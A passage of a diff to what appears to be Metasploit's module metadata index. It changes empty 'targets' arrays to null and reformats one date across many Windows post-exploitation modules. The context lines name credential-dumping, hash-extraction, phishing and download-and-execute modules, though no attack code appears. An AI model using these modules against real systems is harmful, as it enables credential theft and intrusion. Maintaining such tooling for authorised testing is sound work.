"is_install_path": true, @@ -102779,9 +99387,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/avira_password.rb", "is_install_path": true, @@ -102805,9 +99411,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/bulletproof_ftp.rb", "is_install_path": true, @@ -102831,9 +99435,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/coreftp.rb", "is_install_path": true, @@ -102857,9 +99459,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/credential_collector.rb", "is_install_path": true, @@ -102883,9 +99483,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-15 14:06:36 +0000", "path": "/modules/post/windows/gather/credentials/domain_hashdump.rb", "is_install_path": true, @@ -102895,7 +99493,7 @@ "name": "Windows Gather DynaZIP Saved Password Extraction", "full_name": "post/windows/gather/credentials/dynazip_log", "rank": 300, - "disclosure_date": "2001-03-27 00:00:00 -0600", + "disclosure_date": "2001-03-27", "type": "post", "author": [ "Brendan Coles " @@ -102912,9 +99510,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/dynazip_log.rb", "is_install_path": true, @@ -102939,9 +99535,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/dyndns.rb", "is_install_path": true, @@ -102965,9 +99559,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/enum_cred_store.rb", "is_install_path": true, @@ -102991,9 +99583,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/enum_laps.rb", "is_install_path": true, @@ -103018,9 +99608,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/enum_picasa_pwds.rb", "is_install_path": true, @@ -103044,9 +99632,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/epo_sql.rb", "is_install_path": true, @@ -103071,9 +99657,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/filezilla_server.rb", "is_install_path": true, @@ -103097,9 +99681,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/windows/gather/credentials/flashfxp.rb", "is_install_path": true, @@ -103123,9 +99705,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/ftpnavigator.rb", "is_install_path": true, @@ -103149,9 +99729,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/ftpx.rb", "is_install_path": true, @@ -103183,9 +99761,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/gpp.rb", "is_install_path": true, @@ -103209,9 +99785,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/heidisql.rb", "is_install_path": true, @@ -103236,9 +99810,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/idm.rb", "is_install_path": true, @@ -103262,9 +99834,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/imail.rb", "is_install_path": true, @@ -103288,9 +99858,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/imvu.rb", "is_install_path": true, @@ -103315,9 +99883,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb", "is_install_path": true, @@ -103341,9 +99907,7 @@ "platform": "Windows", "arch": "x86, x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-20 18:24:41 +0000", "path": "/modules/post/windows/gather/credentials/mdaemon_cred_collector.rb", "is_install_path": true, @@ -103368,9 +99932,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/meebo.rb", "is_install_path": true, @@ -103396,9 +99958,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/mremote.rb", "is_install_path": true, @@ -103423,9 +99983,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/mssql_local_hashdump.rb", "is_install_path": true, @@ -103450,9 +100008,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/nimbuzz.rb", "is_install_path": true, @@ -103476,9 +100032,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/outlook.rb", "is_install_path": true, @@ -103505,9 +100059,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/razer_synapse.rb", "is_install_path": true, @@ -103532,9 +100084,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/razorsql.rb", "is_install_path": true, @@ -103558,9 +100108,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/rdc_manager_creds.rb", "is_install_path": true, @@ -103587,9 +100135,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/skype.rb", "is_install_path": true, @@ -103615,9 +100161,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/smartermail.rb", "is_install_path": true, @@ -103641,9 +100185,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-13 15:57:09 +0000", "path": "/modules/post/windows/gather/credentials/smartftp.rb", "is_install_path": true, @@ -103668,9 +100210,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/spark_im.rb", "is_install_path": true, @@ -103694,9 +100234,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/sso.rb", "is_install_path": true, @@ -103720,9 +100258,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/steam.rb", "is_install_path": true, @@ -103746,9 +100282,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/tortoisesvn.rb", "is_install_path": true, @@ -103772,9 +100306,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/total_commander.rb", "is_install_path": true, @@ -103799,9 +100331,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/trillian.rb", "is_install_path": true, @@ -103826,9 +100356,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/vnc.rb", "is_install_path": true, @@ -103853,9 +100381,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/windows_autologin.rb", "is_install_path": true, @@ -103879,9 +100405,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/winscp.rb", "is_install_path": true, @@ -103905,9 +100429,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/credentials/wsftp_client.rb", "is_install_path": true, @@ -103931,9 +100453,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/dnscache_dump.rb", "is_install_path": true, @@ -103957,9 +100477,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/dumplinks.rb", "is_install_path": true, @@ -103983,9 +100501,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_ad_bitlocker.rb", "is_install_path": true, @@ -104009,9 +100525,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_ad_computers.rb", "is_install_path": true, @@ -104035,9 +100549,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_ad_groups.rb", "is_install_path": true, @@ -104061,9 +100573,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_ad_managedby_groups.rb", "is_install_path": true, @@ -104088,9 +100598,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_ad_service_principal_names.rb", "is_install_path": true, @@ -104114,9 +100622,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_ad_to_wordlist.rb", "is_install_path": true, @@ -104140,9 +100646,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_ad_user_comments.rb", "is_install_path": true, @@ -104168,9 +100672,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_ad_users.rb", "is_install_path": true, @@ -104194,9 +100696,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_applications.rb", "is_install_path": true, @@ -104220,9 +100720,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_artifacts.rb", "is_install_path": true, @@ -104247,9 +100745,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_av_excluded.rb", "is_install_path": true, @@ -104276,9 +100772,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-27 07:41:06 +0000", "path": "/modules/post/windows/gather/enum_chrome.rb", "is_install_path": true, @@ -104302,9 +100796,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_computers.rb", "is_install_path": true, @@ -104329,9 +100821,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_db.rb", "is_install_path": true, @@ -104355,9 +100845,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_devices.rb", "is_install_path": true, @@ -104383,9 +100871,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_dirperms.rb", "is_install_path": true, @@ -104409,9 +100895,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_domain.rb", "is_install_path": true, @@ -104436,9 +100920,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_domain_group_users.rb", "is_install_path": true, @@ -104462,9 +100944,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_domain_tokens.rb", "is_install_path": true, @@ -104489,9 +100969,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/windows/gather/enum_domain_users.rb", "is_install_path": true, @@ -104515,9 +100993,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_domains.rb", "is_install_path": true, @@ -104541,9 +101017,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_emet.rb", "is_install_path": true, @@ -104568,9 +101042,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_files.rb", "is_install_path": true, @@ -104594,9 +101066,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_hostfile.rb", "is_install_path": true, @@ -104620,9 +101090,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_ie.rb", "is_install_path": true, @@ -104646,9 +101114,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_logged_on_users.rb", "is_install_path": true, @@ -104672,9 +101138,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-24 16:06:55 +0000", "path": "/modules/post/windows/gather/enum_ms_product_keys.rb", "is_install_path": true, @@ -104698,9 +101162,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_muicache.rb", "is_install_path": true, @@ -104725,9 +101187,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_patches.rb", "is_install_path": true, @@ -104751,9 +101211,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_powershell_env.rb", "is_install_path": true, @@ -104777,9 +101235,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_prefetch.rb", "is_install_path": true, @@ -104803,9 +101259,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_proxy.rb", "is_install_path": true, @@ -104829,9 +101283,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_putty_saved_sessions.rb", "is_install_path": true, @@ -104856,9 +101308,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_services.rb", "is_install_path": true, @@ -104882,9 +101332,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_shares.rb", "is_install_path": true, @@ -104909,9 +101357,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_snmp.rb", "is_install_path": true, @@ -104935,9 +101381,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_termserv.rb", "is_install_path": true, @@ -104961,9 +101405,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_tokens.rb", "is_install_path": true, @@ -104987,9 +101429,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_tomcat.rb", "is_install_path": true, @@ -105013,9 +101453,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_trusted_locations.rb", "is_install_path": true, @@ -105043,9 +101481,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/enum_unattend.rb", "is_install_path": true, @@ -105069,9 +101505,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/file_from_raw_ntfs.rb", "is_install_path": true, @@ -105095,9 +101529,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/forensics/browser_history.rb", "is_install_path": true, @@ -105122,9 +101554,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/forensics/duqu_check.rb", "is_install_path": true, @@ -105148,9 +101578,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/forensics/enum_drives.rb", "is_install_path": true, @@ -105174,9 +101602,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/forensics/imager.rb", "is_install_path": true, @@ -105200,9 +101626,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/forensics/nbd_server.rb", "is_install_path": true, @@ -105226,9 +101650,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/forensics/recovery_files.rb", "is_install_path": true, @@ -105252,9 +101674,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/hashdump.rb", "is_install_path": true, @@ -105280,9 +101700,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/local_admin_search_enum.rb", "is_install_path": true, @@ -105306,9 +101724,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/lsa_secrets.rb", "is_install_path": true, @@ -105332,9 +101748,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/make_csv_orgchart.rb", "is_install_path": true, @@ -105358,9 +101772,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/windows/gather/memory_grep.rb", "is_install_path": true, @@ -105385,9 +101797,7 @@ "platform": "", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/netlm_downgrade.rb", "is_install_path": true, @@ -105411,9 +101821,7 @@ "platform": "Windows", "arch": "x86, x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-26 08:22:11 +0000", "path": "/modules/post/windows/gather/ntds_grabber.rb", "is_install_path": true, @@ -105437,9 +101845,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/ntds_location.rb", "is_install_path": true, @@ -105463,9 +101869,7 @@ "platform": "Windows", "arch": "x86, x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/outlook.rb", "is_install_path": true, @@ -105490,9 +101894,7 @@ "platform": "Windows", "arch": "x86, x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/phish_windows_credentials.rb", "is_install_path": true, @@ -105516,9 +101918,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/resolve_sid.rb", "is_install_path": true, @@ -105542,9 +101942,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/reverse_lookup.rb", "is_install_path": true, @@ -105571,9 +101969,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-12 17:11:29 +0000", "path": "/modules/post/windows/gather/screen_spy.rb", "is_install_path": true, @@ -105597,9 +101993,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/smart_hashdump.rb", "is_install_path": true, @@ -105623,9 +102017,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/tcpnetstat.rb", "is_install_path": true, @@ -105649,9 +102041,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/usb_history.rb", "is_install_path": true, @@ -105675,9 +102065,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-19 01:35:19 +0000", "path": "/modules/post/windows/gather/win_privs.rb", "is_install_path": true, @@ -105701,9 +102089,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/wmic_command.rb", "is_install_path": true, @@ -105727,9 +102113,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/gather/word_unc_injector.rb", "is_install_path": true, @@ -105753,9 +102137,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/windows/manage/add_user_domain.rb", "is_install_path": true, @@ -105779,9 +102161,7 @@ "platform": "Windows", "arch": "x86, x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/archmigrate.rb", "is_install_path": true, @@ -105805,9 +102185,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/change_password.rb", "is_install_path": true, @@ -105831,9 +102209,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/clone_proxy_settings.rb", "is_install_path": true, @@ -105857,9 +102233,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/delete_user.rb", "is_install_path": true, @@ -105883,9 +102257,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/download_exec.rb", "is_install_path": true, @@ -105909,9 +102281,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/driver_loader.rb", "is_install_path": true, @@ -105935,9 +102305,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-21 22:46:30 +0000", "path": "/modules/post/windows/manage/enable_rdp.rb", "is_install_path": true, @@ -105961,9 +102329,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/enable_support_account.rb", "is_install_path": true, @@ -105988,9 +102354,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/exec_powershell.rb", "is_install_path": true, @@ -106015,9 +102379,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/windows/manage/forward_pageant.rb", "is_install_path": true, @@ -106041,9 +102403,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/hashcarve.rb", "is_install_path": true, @@ -106068,9 +102428,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/ie_proxypac.rb", "is_install_path": true, @@ -106094,9 +102452,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/inject_ca.rb", "is_install_path": true, @@ -106120,9 +102476,7 